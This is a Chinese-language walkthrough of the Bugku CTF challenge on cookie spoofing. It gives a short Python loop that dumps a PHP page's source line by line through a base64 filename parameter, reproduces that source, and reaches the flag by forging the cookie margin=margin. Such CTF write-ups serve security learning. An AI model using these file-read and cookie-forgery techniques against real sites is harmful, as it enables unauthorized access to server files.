Bugku——cookies欺騙
阿新 • • 發佈:2018-12-11
URL的中的base64解碼為keys.txt。 猜測檔名都是以base64的方式使用的。 key.txt的內容有些不明所以,乾脆去索引頁面(index.php)看看原始碼。 index.php用base64加密後替換key.txt的base64,頁面存在卻沒有內容,檢視原始碼發現只有<?php ,說明原始碼需要加引數遍歷。 發現給引數line一個個傳入值才有原始碼,寫指令碼遍歷出原始碼
import requests a = 40 for i in range(a): url = 'http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw=' % i r = requests.get(url) print r.text
原始碼如下:
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin') { $file_list[2]='keys.php'; } if(in_array($file, $file_list)) { $fa = file($file); echo $fa[$line]; }
根據原始碼的意思,我們將keys.php用base64加密後替換原base64,再用burpsuite使cookie傳入值margin=margin 即可得到flag。